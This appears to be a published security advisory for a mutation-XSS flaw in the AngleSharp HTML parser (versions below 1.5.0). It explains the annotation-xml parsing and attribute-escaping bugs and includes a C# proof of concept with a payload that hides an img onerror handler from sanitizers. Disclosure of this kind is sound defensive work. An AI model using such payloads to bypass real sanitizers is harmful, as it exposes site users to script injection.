PGV-2652422 - AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point BypassDisclosed on July 17, 2026 (updated July 18, 2026)
PGV-2652422 is a category 3 vulnerabilty that affects AngleSharp, versions < 1.5.0
The risk assessment shows that this vulnerability is exlpoited by a compromised user. A legitimate user who unknowingly triggers exploitation of this vulnerability through normal interaction.
The impact is an environmental compromise. Exploitation can escape the application boundary and impact the host environment, infrastructure, or other services.
The threat damage is caused by a data breach (limited). Exploitation does not provide access to data beyond what the user is already authorized to access.is caused by data tampering. Exploitation can result in modification of any data (authorized or not) within the system.
The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.
AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:
In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):
// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)
Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.
In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):
// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand: stringBuilder.Append("&"); break;
case Symbols.NoBreakSpace: stringBuilder.Append(" "); break;
case Symbols.DoubleQuote: stringBuilder.Append("""); break;
default: stringBuilder.Append(value[i]); break; // < and > pass through raw
The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.
using System;
using System.Linq;
using AngleSharp.Html.Parser;
public class Program
{
static readonly string Payload1 =
"<math>" +
"<annotation-xml encoding=\"text/html\">" +
"<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
"</annotation-xml></math>";
public static void Main()
{
var parser = new HtmlParser();
Check(parser, Payload1, "IMG",
"AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
"AngleSharp found <img> – SAFE");
}
static void Check(HtmlParser parser, string html, string tag,
string failMsg, string passMsg)
{
var doc = parser.ParseDocument(html);
var tags = doc.All.Select(e => e.TagName).ToHashSet();
var found = tags.Contains(tag);
Console.WriteLine(found ? passMsg : failMsg);
Console.WriteLine("Serialized output:");
Console.WriteLine(doc.DocumentElement.OuterHtml);
}
}
Output:
AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>
The title tag may be swapped out for style and other RCDATA elements.
When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.
Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.
This reduces AngleSharp's credibility as a conformant HTML parser.
| Network Exposure | External Accessable from the public internet |
| Access Interface | WebBrowser Primarily web-based applications |
| Service Outage | Disruptive Operations would be impacted |
| Data Breach | Disruptive Operations would be impacted |
| Data Tampering | Disruptive Operations would be impacted |
| Customize | |
v2.0.8 © 2026 Inedo, LLC
